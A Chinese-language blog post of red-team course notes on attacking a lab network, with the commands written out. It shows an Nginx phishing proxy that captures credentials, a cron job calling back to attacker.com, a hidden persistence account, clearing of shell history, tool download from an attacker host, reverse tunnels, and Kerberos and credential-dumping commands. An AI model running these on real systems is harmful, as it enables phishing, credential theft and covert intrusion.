目 录CONTENT

文章目录

红队行动Live-20241029

Administrator
2025-03-16 / 0 评论 / 0 点赞 / 4 阅读 / 0 字

一、钓鱼攻击阶段总结

1. 钓鱼收尾工作与反向代理方案

  • 点点师傅贡献的方案:使用Nginx作为反向代理来捕获用户凭据

    • 优点:短平快的解决方案,脚本化程度高,最大程度减小特征

    • 工作原理:捕获HTTP响应,获取用户提交的Cookie和请求体数据

    • 实现细节:

      • 使用环境变量指定钓鱼域名

      • 申请TLS证书确保HTTPS连接

      • 配置Nginx服务器实现对目标站点(NextCloud)的代理

      • 通过自定义日志格式捕获凭据信息

    拓展:Nginx反向代理配置实例:

    # 定义环境变量
    # export FAKE_DOMAIN=example.com
    ​
    # 申请SSL证书
    # certbot certonly --standalone -d $FAKE_DOMAIN
    ​
    http {
      # 自定义日志格式,捕获凭据
      log_format main '$remote_addr - $remote_user [$time_local] "$request" '
                      '$status $body_bytes_sent "$http_referer" '
                      '"$http_user_agent" "$http_x_forwarded_for" '
                      '"$cookie_SESSION" "$request_body"';
      
      server {
        listen 443 ssl;
        listen [::]:443 ssl;
        
        access_log /var/log/nginx/access.log main;
        
        ssl_certificate /etc/letsencrypt/live/example.com/fullchain.pem;
        ssl_certificate_key /etc/letsencrypt/live/example.com/privkey.pem;
        
        server_name 192.168.1.231;
        
        location / {
          proxy_pass https://nextcloud.0x0.security.com;
          proxy_set_header Host nextcloud.0x0.security.com;
          proxy_set_header X-Real-IP $remote_addr;
          proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        }
      }
    }
  • 与商业化工具(如Modlishka)的对比

    • Modlishka提供更多功能,包括完整钓鱼流程管理

    • 点点师傅的方案更精简,但同样高效

    • 商业工具底层实际上也是基于类似技术实现

    拓展:Modlishka与Nginx反向代理方案比较:

    特性

    Modlishka

    Nginx反向代理

    UI界面

    凭据捕获

    自动化

    需手动配置

    流量修改

    内置支持

    需额外配置

    反自动化检测

    内置

    需自行实现

    特征识别风险

    较高

    较低

    灵活性

    固定功能集

    高度可定制

    学习曲线

    较低

    较高

2. 不同钓鱼方案的思维方式

  • 独立思考的重要性:基于自己的技术基础构建攻击过程是最佳实践

  • 技术背景差异:每个人的技术基础不同,会导致思考方向不同

    • 例如:有运维背景的人对网络代理方案会更敏感

    • 没有相关背景的人可能更依赖攻击框架

  • 安全视角:应该从安全的角度考虑问题,而不是试图在所有领域都成为专家

    拓展:不同背景人员的思维差异与优势:

    • 运维背景

      • 熟悉网络架构和服务配置

      • 能快速识别配置错误和服务漏洞

      • 理解系统间的交互和依赖关系

      • 钓鱼方案偏向利用基础设施服务(如DNS、反向代理)

    • 开发背景

      • 了解应用程序内部逻辑

      • 能识别代码级漏洞

      • 擅长开发定制化工具

      • 钓鱼方案偏向利用应用层漏洞或创建仿冒应用

    • 纯安全背景

      • 熟悉各类攻击向量

      • 了解最新漏洞和利用方法

      • 偏向使用现成攻击框架

      • 钓鱼方案可能优先考虑社会工程学和现成工具

3. 钓鱼技术实践的特点

  • 纯净性:好的方案往往使用常规技术组件,不带明显的攻击特征

    • 证书是正常网站都需要的

    • 日志捕获是网站调试常用功能

    • 反向代理是标准的网络设施

  • 实战考量:需要思考如何实时监测有效流量并及时利用捕获的信息

    • 例如:获取验证码后在有效时间窗口内使用

    拓展:实时监控与响应技术:

    # 使用tail命令实时监控Nginx日志获取凭据
    tail -f /var/log/nginx/access.log | grep -E "cookie|password"
    ​
    # 使用sed提取关键信息
    tail -f /var/log/nginx/access.log | sed -n 's/.*"username=\([^&]*\).*"password=\([^"]*\).*/用户名: \1, 密码: \2/p'
    ​
    # 监控并自动提取验证码(假设验证码在日志中有特定模式)
    tail -f /var/log/nginx/access.log | grep -E "challenge_code" | 
    sed -n 's/.*challenge_code=\([0-9]{6}\).*/验证码: \1/p'
    ​
    # 定时检查是否捕获到新凭据
    watch -n 5 "grep -c 'password' /var/log/nginx/access.log"

二、靶场IP总结与分析

1. 机器状态与开放服务分析

  • 机器2和22:未开放端口,但已经启动,需思考其在网络中的作用

  • 机器13(DNS服务器)

    • DNS服务是基础设施,熟悉应用很重要

    • 从业务角度理解DNS应用,结合技术站角度分析

    • 基础设施容易有弱密码问题

    • 基础设施往往历史跨度长,容易存在安全隐患

    拓展:DNS服务器常见弱点与利用方式:

    # 1. 区域传送漏洞检测
    dig @<dns_server_ip> <domain> AXFR
    ​
    # 2. DNS服务版本信息泄露
    dig @<dns_server_ip> version.bind chaos txt
    ​
    # 3. 检查是否存在开放的DNS管理界面
    nmap -p 80,443,8080,8443 <dns_server_ip>
    ​
    # 4. 尝试弱密码登录DNS管理界面
    # 常见弱密码组合:admin/admin, admin/password, root/root, admin/dns-admin
    ​
    # 5. 检查DNS服务器是否允许递归查询(可能被用于DDoS放大攻击)
    dig @<dns_server_ip> www.example.com
  • 机器21和50:未开放端口,内网中需要思考其用途

  • 机器62

    • 暴露的是大型应用管理系统

    • 对大型系统,爆破不应是首选方案

    • 应优先考虑其他路径,将爆破作为最后手段

    拓展:大型应用管理系统替代攻击思路:

    1. 侧面信息收集

      • 查找相关文档、知识库

      • 社交媒体和求职网站上查找使用该系统的员工

      • 搜索公开的报错信息寻找版本号

    2. 已知漏洞利用

      • 确定系统版本后查找CVE

      • 检查默认配置问题

      • 查找该系统已公开的认证绕过方法

    3. 供应链攻击

      • 研究该系统使用的第三方组件

      • 寻找组件之间的集成漏洞

    4. 接口测试

      • 检查API接口安全性

      • 寻找未授权访问的端点

      • 测试参数处理逻辑

  • 机器74

    • 开放了22端口(SSH)和25端口(SMTP)

    • SMTP服务为钓鱼提供了可能性

    • SSH服务通常不应作为爆破首选目标

    拓展:SMTP服务利用技术:

    # 1. 枚举SMTP用户
    smtp-user-enum -M VRFY -U users.txt -t <smtp_server_ip>
    ​
    # 2. 检查SMTP中继配置
    swaks --to external@example.com --from internal@target.com --server <smtp_server_ip>
    ​
    # 3. 使用SMTP服务发送钓鱼邮件
    sendemail -f "helpdesk@target.com" -t "victim@target.com" -u "Password Reset Required" -m "Please login at http://fake-domain.com to reset your password" -s <smtp_server_ip>
    ​
    # 4. 检查SMTP版本和开放的扩展命令
    nmap --script smtp-commands -p 25 <smtp_server_ip>
  • 机器88

    • 模拟数据泄露场景,类似网上出售数据的方式

    • 提示思考:有时用小额费用解决问题是有效方案

    • 敏感数据处理需注意法律风险

  • 机器231

    • 绑定NextCloud应用的关键节点

    • 从其默认域名、IP直接访问的域、Logo和内容可判断

    • 需对域名系统有深入了解

    拓展:域名配置与二级域名绑定:

    # 1. 查看域名解析情况
    dig nextcloud.0x0.security.com
    ​
    # 2. 检查DNS记录
    dig +short -t ANY 0x0.security.com
    ​
    # 3. 子域名枚举
    subfinder -d 0x0.security.com
    ​
    # 4. DNS区域传送尝试
    dig @ns1.0x0.security.com 0x0.security.com AXFR
    ​
    # 5. 在DNS服务器上配置新的子域名记录(在获得权限后)
    nsupdate -k /path/to/key <<EOF
    server ns1.0x0.security.com
    zone 0x0.security.com
    update add fake-nextcloud.0x0.security.com 3600 A 192.168.1.231
    send
    EOF
  • 机器242

    • 项目信息收集点

    • 作为获取立足点的路径之一

    • 可能还有其他未发现的攻击路径

2. 思考靶场IP的关联性

  • 网络拓扑推测:通过已知信息推测网络结构

  • 信息综合分析:将各台机器的信息放在脑中综合分析,不仅依赖工具输出

  • 关键节点识别:识别出如231机器绑定NextCloud这样的关键节点

    拓展:网络拓扑推测技术:

    # 1. 基于IP地址分析网段
    # 例如,如果看到IP地址如10.10.1.13和10.10.2.231,可推测有多个子网
    ​
    # 2. 利用TTL值和路由跟踪分析网络层次
    traceroute <target_ip>
    ​
    # 3. 分析路由表信息
    ip route show
    netstat -rn
    ​
    # 4. 通过ARP缓存识别本地网段设备
    arp -a
    ​
    # 5. 创建可视化网络图(使用外部工具导入数据)
    # 记录IP、开放端口、服务版本等关键信息

三、内网渗透初始阶段

1. 谨慎开始原则

  • 权限保护意识:获得立足点后需谨慎操作,避免丢失权限

  • 持久化需求:尽快寻找持久化方式,如创建新账号、获取多个账号权限

  • 行动平衡:在获取更多信息和避免被发现之间寻找平衡点

    拓展:初始立足点持久化技术:

    # 1. 创建隐藏用户(Linux)
    useradd -M -N -r -s /bin/bash -c "Service Account" hidden_user
    echo "hidden_user:Password123" | chpasswd
    ​
    # 2. 添加SSH密钥
    mkdir -p ~/.ssh
    echo "ssh-rsa AAAA..." > ~/.ssh/authorized_keys
    chmod 600 ~/.ssh/authorized_keys
    ​
    # 3. 创建Cron任务(定期回连)
    (crontab -l 2>/dev/null; echo "*/30 * * * * curl http://attacker.com/check.php?host=\$HOSTNAME") | crontab -
    ​
    # 4. 修改服务启动脚本(确保服务重启后仍可访问)
    # 例如向系统服务添加命令
    ​
    # 5. 创建备用访问机制
    # 比如配置Web Shell、命令后门等

2. 信息枚举和主机发现

  • OPSEC(Operation Security)思维

    • 操作一定会留下痕迹,关键是控制暴露可能性

    • 不是完全不操作,而是控制操作的程度和方式

    • 平衡全面收集信息和隐蔽性

    拓展:OPSEC最佳实践:

    1. 减少命令执行痕迹

      • 使用history -c清除历史命令

      • 设置HISTFILE=/dev/nullHISTSIZE=0禁用历史记录

      • 使用内存执行工具,避免写入磁盘

    2. 降低检测风险

      • 避免高频率的扫描活动

      • 分散操作时间,避免集中操作

      • 优先使用系统内置工具而非外部工具

    3. 日志处理

      • 了解系统关键日志位置(如/var/log/

      • 学会过滤日志中的特定条目

      • 避免直接删除日志,可能触发警报

    4. 流量控制

      • 优先使用加密通道

      • 模仿正常流量模式

      • 避免大量数据传输

  • 主机发现方法

    • IP地址查看:分析网卡信息和IP地址特征

    • 端口扫描:可使用nmap但需谨慎控制范围

    • 路由/ARP记录表分析:检查现有路由和ARP缓存

    • 流量观测:分析网络流量发现活跃主机

    • 四处翻找:查看配置文件、历史记录等

    拓展:低噪声主机发现技术:

    # 1. 查看本机网络配置
    ifconfig -a
    ip addr show
    ​
    # 2. 分析路由表发现网段
    netstat -rn
    ip route show
    ​
    # 3. 查看ARP缓存识别活跃主机
    arp -a
    ip neigh show
    ​
    # 4. 使用ping进行有限探测(避免扫描整个网段)
    ping -c 1 192.168.1.1
    ​
    # 5. 分析本地DNS配置和解析
    cat /etc/resolv.conf
    cat /etc/hosts
    ​
    # 6. 检查系统上的连接信息
    netstat -antup
    ss -antup
    ​
    # 7. 低速精确端口探测(针对性探测关键端口)
    nc -zv 192.168.1.10 22 3389 445 139 80 443
    ​
    # 8. 流量监听(被动发现)
    tcpdump -i eth0 -n
  • 渐进式扫描策略

    • 从小范围开始,逐步扩大

    • 先扫描关键网段,如DNS服务器中发现的IP所在网段

    • 根据业务逻辑推测优先目标

    • 根据发现的端口推测可能开放的其他服务

    拓展:渐进式扫描实例:

    # 第一阶段:极度谨慎的点对点确认
    ping -c 1 10.10.1.1
    nc -zv 10.10.1.1 22
    ​
    # 第二阶段:扩展到关键服务探测
    for port in 22 53 80 443 445 3389; do
      nc -zv 10.10.1.1 $port -w 1
    done
    ​
    # 第三阶段:探测小范围网段的关键IP
    for host in 1 10 100 254; do
      ping -c 1 10.10.1.$host
    done
    ​
    # 第四阶段:扩展到典型服务器端口范围
    nmap -T2 -n -Pn -sT 10.10.1.1 --top-ports 20
    ​
    # 第五阶段:完整但低速的扫描
    nmap -T2 -n -Pn -sT -A 10.10.1.1

3. 权限提升考量

  • 提权必要性评估

    • 分析当前权限能做什么操作

    • 评估不提权的情况下能否完成关键任务

    • 提权与信息收集并行进行

  • 系统探索

    • 查看已安装工具

    • 检查各目录权限

    • 寻找配置文件

    • 分析系统信息

    拓展:Linux初始权限探索与信息收集:

    # 1. 系统基本信息
    uname -a
    cat /etc/*-release
    ​
    # 2. 当前用户权限
    id
    sudo -l
    ​
    # 3. 探索有价值目录
    find / -type f -name "*.conf" -perm -o+r 2>/dev/null
    find / -type f -name "*.log" -perm -o+r 2>/dev/null
    find / -perm -4000 -type f 2>/dev/null
    ​
    # 4. 检查密码文件权限
    ls -la /etc/passwd /etc/shadow
    ​
    # 5. 检查定时任务
    crontab -l
    cat /etc/crontab
    ​
    # 6. 检查网络和进程
    ss -antup
    ps aux
    ​
    # 7. 查找敏感信息
    grep -r "password" /etc/ 2>/dev/null
    grep -r "BEGIN RSA PRIVATE KEY" /home/ 2>/dev/null
    ​
    # 8. 检查Web服务配置
    find /etc/apache2/ -name "*.conf" -type f 2>/dev/null
    find /etc/nginx/ -name "*.conf" -type f 2>/dev/null

四、隧道化与端口转发

1. 隧道化必要性

  • 环境与工具问题

    • 目标机器可能缺少必要工具

    • 无法直接安装工具可能触发报警

    • 权限限制导致无法执行某些操作

  • 工具使用效率

    • Kali中工具更完整,使用更熟练

    • 避免在目标机器上进行复杂操作

    拓展:隧道化方案决策树:

    1. 情况评估

      • 目标机器的安全监控级别?

      • 是否能够上传和执行工具?

      • 需要哪些本地工具访问远程资源?

      • 是否存在网络隔离或防火墙限制?

    2. 方案选择

      • 如果目标监控松散且可执行工具:直接执行或上传扫描工具

      • 如果目标有严格监控但SSH可用:建立SSH隧道

      • 如果连接不稳定:使用持久连接机制如自动重连脚本

      • 如果存在严格出站限制:利用常见协议(HTTP/DNS)隧道

2. 隧道技术细节

  • 密钥处理

    • 不同密钥格式的了解与转换

    • 密钥加密安全级别的演进

    • 旧版与新版工具对密钥格式支持的差异

    拓展:SSH密钥格式转换与管理:

    # 1. 生成RSA密钥(传统格式)
    ssh-keygen -t rsa -b 4096
    ​
    # 2. 生成更现代的Ed25519密钥
    ssh-keygen -t ed25519
    ​
    # 3. 转换OpenSSH密钥为PEM格式(某些工具需要)
    ssh-keygen -e -f ~/.ssh/id_rsa > id_rsa.pub.pem
    ​
    # 4. 将PEM公钥转回OpenSSH格式
    ssh-keygen -i -f id_rsa.pub.pem > id_rsa.pub.openssh
    ​
    # 5. 从私钥中提取公钥
    ssh-keygen -y -f ~/.ssh/id_rsa > ~/.ssh/id_rsa.pub
    ​
    # 6. 创建特定格式的密钥(如用于旧系统)
    ssh-keygen -t rsa -m PEM -b 4096
    ​
    # 7. 转换putty格式密钥(.ppk)
    puttygen id_rsa -o id_rsa.ppk
  • SSH隧道技巧

    • 使用SSH-Pass实现无交互式密码输入

    • 利用SSH的高级功能:

      • 带命令执行的SSH连接

      • 不获取shell但执行命令

      • 各种端口转发模式

    拓展:SSH高级隧道配置:

    # 1. 基本的本地端口转发
    ssh -L 8080:internal-server:80 user@jumphost
    ​
    # 2. 远程端口转发(反向隧道)
    ssh -R 8080:localhost:80 user@public-server
    ​
    # 3. 动态SOCKS代理
    ssh -D 9050 user@jumphost
    ​
    # 4. 使用SSH-Pass自动输入密码
    sshpass -p "password" ssh user@host
    ​
    # 5. 执行远程命令不获取shell
    ssh user@host "cat /etc/passwd" > passwd.txt
    ​
    # 6. 多级转发组合
    ssh -L 8080:localhost:9090 user1@host1
    ssh -L 9090:internal-server:80 user2@host2
    ​
    # 7. 创建SSH隧道并保持连接
    ssh -L 8080:internal:80 -o ServerAliveInterval=30 -o ServerAliveCountMax=3 user@host
    ​
    # 8. 通过配置文件持久化隧道设置
    cat << EOF > ~/.ssh/config
    Host tunnel
      HostName jumphost
      User username
      LocalForward 8080 internal-server:80
      ServerAliveInterval 30
      ServerAliveCountMax 3
    EOF
  • 稳定性考量

    • 隧道断连问题处理

    • 保持长时间连接的技巧

    • 调优隧道参数提高稳定性

    拓展:隧道稳定性提升技术:

    # 1. SSH连接保持配置
    cat << EOF >> ~/.ssh/config
    Host *
      ServerAliveInterval 30
      ServerAliveCountMax 6
      TCPKeepAlive yes
      ControlMaster auto
      ControlPath ~/.ssh/control/%r@%h:%p
      ControlPersist 10m
    EOF
    ​
    # 2. 创建自动重连脚本
    cat << 'EOF' > ~/tunnel-keeper.sh
    #!/bin/bash
    while true; do
      if ! pgrep -f "ssh -L 8080:internal:80" > /dev/null; then
        echo "Reestablishing tunnel..."
        ssh -L 8080:internal:80 user@jumphost &
      fi
      sleep 60
    done
    EOF
    chmod +x ~/tunnel-keeper.sh
    ​
    # 3. 使用autossh工具(更可靠的自动重连)
    apt-get install autossh
    autossh -M 20000 -L 8080:internal:80 user@jumphost
    ​
    # 4. 通过systemd创建持久隧道服务
    cat << EOF > /etc/systemd/system/ssh-tunnel.service
    [Unit]
    Description=SSH tunnel
    After=network.target
    ​
    [Service]
    User=username
    ExecStart=/usr/bin/autossh -M 0 -N -L 8080:internal:80 user@jumphost
    Restart=always
    RestartSec=10
    ​
    [Install]
    WantedBy=multi-user.target
    EOF
    systemctl enable ssh-tunnel
    systemctl start ssh-tunnel

3. 可用的隧道工具

  • 传统工具:SSH端口转发

  • 专用工具:FRP等国内常用工具

  • 新型工具:更现代的隧道技术

  • 根据需求选择:考虑稳定性、隐蔽性和功能

    拓展:各类隧道工具对比与配置:

    FRP配置示例

    # FRP服务端配置(frps.ini)
    [common]
    bind_port = 7000
    token = secret_token
    ​
    # FRP客户端配置(frpc.ini)
    [common]
    server_addr = attacker_server
    server_port = 7000
    token = secret_token
    ​
    [ssh]
    type = tcp
    local_ip = 127.0.0.1
    local_port = 22
    remote_port = 6000

    Chisel配置示例

    # 服务端
    ./chisel server -p 8080 --reverse
    ​
    # 客户端(创建反向SOCKS代理)
    ./chisel client attacker_server:8080 R:socks

    Ligolo-ng配置示例

    # 控制端-ip:10.10.16.111
    ./proxy -laddr 0.0.0.0:5555 -selfcert -v -daemon
    ​-daemon 命令行模式
    
    # 代理端(目标机器)
    ./agent_amd -connect 10.10.16.111:5555 -ignore-cert -v
    ​
    # 登录地址和账号密码
    http://127.0.0.1:8088/
    ligolo
    password

五、优先级分析与网络拓扑

1. 网络拓扑推测原则

  • 基于有限信息:从网卡配置、IP地址段等推测网络结构

  • 域划分:识别可能的网络域和子网

  • 关键节点识别:找出容易突破的点以及核心基础设施

    拓展:网络拓扑推测方法:

    在内网渗透中,网络拓扑推测是一项关键技能,需要从多个数据点收集信息:

    # 分析目标机器上的路由表信息
    route -n
    ip route
    ​
    # 查看本地ARP缓存,了解最近通信过的设备
    arp -a
    ip neigh
    ​
    # 从网络配置文件中获取信息
    cat /etc/network/interfaces
    cat /etc/sysconfig/network-scripts/ifcfg-*
    ​
    # 查找网络配置文件和历史命令
    grep -r "network" /etc/
    history | grep "ifconfig\|ip addr\|route"
    ​
    # 分析netstat输出,查看活动连接
    netstat -rn
    netstat -antp

    通过分析IP地址模式,可以推断网络设计原则:

    1. 基于功能划分网段(如10.10.1.x为服务器区,10.10.2.x为工作站区)

    2. 基于部门划分网段(如10.10.10.x为财务部,10.10.20.x为IT部)

    3. 基于安全等级划分网段(如192.168.1.x为DMZ区,172.16.x.x为内部网络)

2. 资产优先级排序

  • 易攻难度评估:评估每个目标的防御强度

  • 业务价值判断:分析资产对业务的重要性

  • 攻击路径构建:规划从立足点到目标的攻击路径

    拓展:资产优先级评估框架:

    资产优先级排序应考虑以下因素,并为每个因素评分(1-5分):

    1. 系统角色

      • 活动目录域控制器(5分)

      • 数据库服务器(4分)

      • 文件服务器(3分)

      • 工作站(2分)

      • 打印机/IoT设备(1分)

    2. 连通性

      • 连接到多个网段的系统(5分)

      • 连接到关键网段的系统(4分)

      • 仅连接到标准网段(2-3分)

      • 隔离系统(1分)

    3. 可访问性

      • 开放关键服务(如445/SMB、3389/RDP、80/HTTP)(4-5分)

      • 开放标准服务(3分)

      • 仅开放少量端口(1-2分)

    4. 漏洞可能性

      • 传统系统(如Windows 2008/2012)(4-5分)

      • 标准企业系统(3分)

      • 最新补丁系统(1-2分)

    综合评分后,优先攻击总分高的系统。同时评估攻击路径的可行性:

    立足点 → 目标A(域成员)→ 目标B(域管理员工作站)→ 最终目标(域控制器)

3. 试错与调整策略

  • 初始猜测:基于经验进行网络拓扑初步推测

  • 验证与调整:根据扫描结果不断调整网络模型

  • 避免纯运气因素:将偶然发现转化为系统性方法

    拓展:系统化试错方法:

    系统化试错需要遵循科学方法:

    1. 假设形成:基于已知信息形成初步假设

      • "基于DNS记录,10.10.10.x网段可能是关键服务器区域"

      • "根据主机名命名规则,SRV开头的机器可能是服务器"

    2. 验证计划:设计最小测试验证假设

      • 选择性扫描关键IP(如10.10.10.1, 10.10.10.10, 10.10.10.100)

      • 测试特定服务是否存在(如域服务LDAP/389)

    3. 执行与记录:执行测试并详细记录结果

    4. 分析调整:分析结果并调整假设

      • 如发现10.10.10.10运行DNS服务,假设得到强化

      • 如未发现预期服务,调整假设

    5. 迭代改进:基于新假设继续探索

    记录试错过程示例:

    假设:10.10.1.x是管理网段
    测试:扫描10.10.1.1-5的常见管理端口(22,3389,80,443)
    结果:发现10.10.1.3开放3389端口
    分析:可能是管理员工作站或远程管理服务器
    新假设:10.10.1.3可能是跳板机

六、工具与脚本运用

1. 源码编译与工具部署

  • 编译需求

    • 许多工具需要在特定环境下编译

    • 掌握C、Go等语言源码编译技能

    • 能处理依赖问题和配置问题

  • 环境准备

    • 准备C编译环境

    • 准备Go编译环境

    • 准备Visual Studio和.NET Framework环境

    拓展:工具编译指南:

    C语言工具编译

    # 在Linux上编译C程序
    # 安装编译工具
    apt-get install build-essential
    ​
    # 基本编译
    gcc -o program source.c
    ​
    # 带库的编译
    gcc -o program source.c -lcrypto -lssl
    ​
    # 使用Make
    ./configure
    make
    make install
    ​
    # 交叉编译(例如为Windows编译)
    apt-get install mingw-w64
    x86_64-w64-mingw32-gcc -o program.exe source.c

    Go语言工具编译

    # 安装Go
    apt-get install golang
    ​
    # 基本编译
    go build main.go
    ​
    # 交叉编译(Linux为Windows)
    GOOS=windows GOARCH=amd64 go build -o program.exe main.go
    ​
    # 交叉编译(Linux为Mac)
    GOOS=darwin GOARCH=amd64 go build -o program.macos main.go
    ​
    # 静态编译(不依赖外部库)
    CGO_ENABLED=0 go build -a -ldflags '-extldflags "-static"' -o program main.go

    Visual Studio .NET编译

    # 使用MSBuild编译C#项目
    "C:\Program Files (x86)\Microsoft Visual Studio\2019\BuildTools\MSBuild\Current\Bin\MSBuild.exe" /property:Configuration=Release YourProject.csproj
    ​
    # 使用.NET Core
    dotnet build --configuration Release
    ​
    # 发布可独立运行的二进制文件
    dotnet publish -c Release -r win-x64 --self-contained true
  • 搬运策略

    • 最小化搬运工具到目标

    • 编译精简版本减少检测风险

    • 混淆或加密技术应用

    拓展:工具搬运技巧:

    1. 最小化工具尺寸

      # 剥离二进制文件调试信息
      strip -s tool
      ​
      # 使用UPX压缩二进制文件
      upx --best tool
    2. 文件分块传输

      # 发送端拆分
      split -b 500k tool tool.part
      ​
      # 接收端组合
      cat tool.part* > tool
      chmod +x tool
    3. 编码传输

      # 编码为Base64
      base64 tool > tool.b64
      ​
      # 解码
      base64 -d tool.b64 > tool
      chmod +x tool
    4. 使用内置工具传输

      # 在攻击机器创建简单HTTP服务
      python3 -m http.server 8000
      ​
      # 在目标使用curl下载
      curl http://attacker:8000/tool -o tool
      ​
      # 或使用内置工具如wget
      wget http://attacker:8000/tool

2. 关键工具介绍

  • Impacket工具集

    • 预渗透测试中不可或缺的工具

    • 阅读其Python代码提升安全编程能力

    • 使用其丰富的Examples掌握攻击技巧

    拓展:Impacket工具集关键组件:

    Impacket是一个功能强大的Python工具集,专门用于处理网络协议:

    # 1. SMBClient - SMB协议客户端
    python3 smbclient.py DOMAIN/username:password@target
    ​
    # 2. PSExec - 远程执行程序(类似SysInternals PSExec)
    python3 psexec.py DOMAIN/username:password@target cmd.exe
    ​
    # 3. WMIExec - 通过WMI执行命令
    python3 wmiexec.py DOMAIN/username:password@target
    ​
    # 4. GetUserSPNs - Kerberos服务票据枚举与破解
    python3 GetUserSPNs.py DOMAIN/username:password -dc-ip DC_IP -request
    ​
    # 5. secretsdump - 提取系统密码哈希
    python3 secretsdump.py DOMAIN/username:password@target
    ​
    # 6. ntlmrelayx - NTLM中继攻击工具
    python3 ntlmrelayx.py -tf targets.txt
    ​
    # 7. smbserver - 创建SMB服务器
    python3 smbserver.py SHARE /path/to/share

    Impacket学习建议

    1. 先掌握基本用法

    2. 研究关键脚本的结构和功能

    3. 了解底层协议实现

    4. 尝试创建自定义脚本或修改现有脚本

  • Kerberos相关工具

    • 可能需要重新编译以适应环境

    • 理解其背后原理比简单使用更重要

    拓展:Kerberos主要攻击工具:

    Rubeus - .NET版Kerberos利用工具:

    # 初始枚举
    Rubeus.exe dump
    ​
    # 请求TGT票据
    Rubeus.exe asktgt /user:username /password:password
    ​
    # Kerberoasting攻击
    Rubeus.exe kerberoast /outfile:hashes.txt
    ​
    # AS-REP Roasting攻击
    Rubeus.exe asreproast /outfile:asrep.txt
    ​
    # 黄金票据伪造
    Rubeus.exe golden /domain:domain.com /sid:S-1-5... /aes256:hash /user:Administrator

    Kekeo - 另一款Windows Kerberos利用工具:

    # 请求TGT
    kekeo# tgt::ask /user:username /domain:domain.com /password:password
    ​
    # 利用TGT请求服务票据
    kekeo# tgs::ask /tgt:TGT_kirbi_file /service:service_SPN
    ​
    # 传递票据
    kekeo# misc::ptt /file:ticket.kirbi

    编译提示:

    # Windows下使用VS编译Rubeus
    git clone https://github.com/GhostPack/Rubeus.git
    # 使用Visual Studio打开解决方案并编译
    ​
    # 交叉编译Kerberos工具
    apt-get install gcc-mingw-w64
    CC=x86_64-w64-mingw32-gcc ./configure --host=x86_64-w64-mingw32
    make
  • 基础设施工具

    • SSH和SSH-Pass的高级使用

    • 端口扫描与服务发现工具

    • 信息枚举脚本

    拓展:基础设施工具常用命令:

    SSH高级使用

    # 多重跳板连接
    ssh -J user1@jumphost1,user2@jumphost2 user3@finalhost
    ​
    # 通过SSH执行本地脚本
    ssh user@host 'bash -s' < local_script.sh
    ​
    # 以不同用户身份执行sudo命令
    ssh user@host "sudo -u otheruser command"
    ​
    # 限制SSH命令
    ssh -o PermitLocalCommand=no user@host

    低噪声扫描工具

    # 使用netcat进行基本端口扫描
    for p in 21 22 80 443 445 3389; do nc -zv -w 1 192.168.1.10 $p 2>&1 | grep succeeded; done
    ​
    # 使用curl探测web服务
    curl -s -I http://192.168.1.10
    ​
    # 使用内置命令检测SMB服务
    smbclient -L //192.168.1.10 -N

    信息枚举脚本示例

    #!/bin/bash
    # 基本主机枚举脚本
    ​
    echo "==== 系统信息 ===="
    uname -a
    cat /etc/*-release 2>/dev/null
    ​
    echo -e "\n==== 用户信息 ===="
    whoami
    id
    last | head -n 5
    ​
    echo -e "\n==== 网络信息 ===="
    ip addr
    ip route
    netstat -tuln
    ​
    echo -e "\n==== 进程信息 ===="
    ps aux | grep -E 'root|admin'
    ​
    echo -e "\n==== 可写目录 ===="
    find / -writable -type d -not -path "/proc/*" 2>/dev/null | head -n 20

七、时间问题与同步

1. 时钟同步问题

  • 时间的重要性:预渗透测试中时间一直是关键因素

  • 同步挑战

    • 不同机器时间可能不同步

    • 时间差异导致认证失败

    • 协议对时间敏感度高

  • 时间窗口

    • 某些攻击需要在特定时间窗口执行

    • 可能需要在1-2分钟内完成一系列操作

    拓展:时间问题处理技术:

    1. 时间同步检查

    # 查看系统时间
    date
    ​
    # 查看硬件时钟
    hwclock --show
    ​
    # 检查时区设置
    timedatectl
    ​
    # 检查NTP配置
    cat /etc/ntp.conf
    systemctl status ntpd
    ​
    # 检查Windows时间同步
    w32tm /query /status
    1. 强制时间同步

    # Linux手动同步
    ntpdate pool.ntp.org
    ​
    # Windows手动同步
    w32tm /resync /force
    ​
    # 设置系统时间
    date -s "2023-12-25 12:00:00"
    1. 时间窗口操作脚本

    #!/bin/bash
    # 在特定时间窗口执行操作
    ​
    TARGET_TIME="12:00:00"
    WINDOW_SECONDS=120
    ​
    # 计算目标时间戳
    TARGET_TS=$(date -d "today $TARGET_TIME" +%s)
    ​
    # 当前时间戳
    CURRENT_TS=$(date +%s)
    ​
    # 计算等待时间
    WAIT_TIME=$((TARGET_TS - CURRENT_TS))
    ​
    if [ $WAIT_TIME -gt 0 ]; then
      echo "等待目标时间窗口,还需 $WAIT_TIME 秒..."
      sleep $WAIT_TIME
    fi
    ​
    echo "开始执行时间敏感操作..."
    # 执行你的命令
    ./your_time_sensitive_command.sh
    ​
    # 检查是否仍在时间窗口内
    if [ $(($(date +%s) - TARGET_TS)) -lt $WINDOW_SECONDS ]; then
      echo "仍在时间窗口内,继续执行下一步..."
      ./your_next_command.sh
    else
      echo "已超出时间窗口!"
    fi
  • 问题解决

    • 理解各种时间同步机制

    • 注意不同工具与域之间的时间差异

    • 自始至终关注时钟问题

    拓展:域环境中的时间同步:

    在Active Directory环境中,时间同步遵循层级结构:

    1. PDC Emulator - 时间同步的主要来源,通常与外部时间源同步

    2. 域控制器 - 从PDC Emulator同步时间

    3. 成员服务器和工作站 - 从任何域控制器同步时间

    排查域时间问题:

    # 识别PDC角色持有者
    netdom query fsmo
    ​
    # 检查当前时间源
    w32tm /query /source
    ​
    # 检查时间偏移
    w32tm /stripchart /computer:dc.domain.com /samples:5 /dataonly
    ​
    # 重新配置时间同步
    w32tm /config /syncfromflags:domhier /update
    ​
    # 对于PDC角色服务器,设置外部时间源
    w32tm /config /manualpeerlist:"pool.ntp.org" /syncfromflags:manual /reliable:yes /update

2. 各种工具的时间要求

  • 早期工具:时钟要求可能较宽松

  • 域工具:通常对时间同步要求严格

  • 最新工具:可能有不同的时间处理机制

    拓展:不同工具的时间敏感度:

    Kerberos工具

    • 高度时间敏感,通常要求误差小于5分钟

    • 涉及票据的工具(Rubeus, Mimikatz)会受时间影响

    • 可能需要在时间同步环境下运行

    # Mimikatz指定目标系统时间
    mimikatz # misc::timezone
    mimikatz # kerberos::ptc /time:20231225122530

    Web应用工具

    • 会话Cookie可能有时间限制

    • JWT Token通常包含过期时间

    • 可能需要调整系统时间以使用某些凭证

    # 分析JWT过期时间
    echo "eyJhbG...token..." | cut -d. -f2 | base64 -d | jq .
    ​
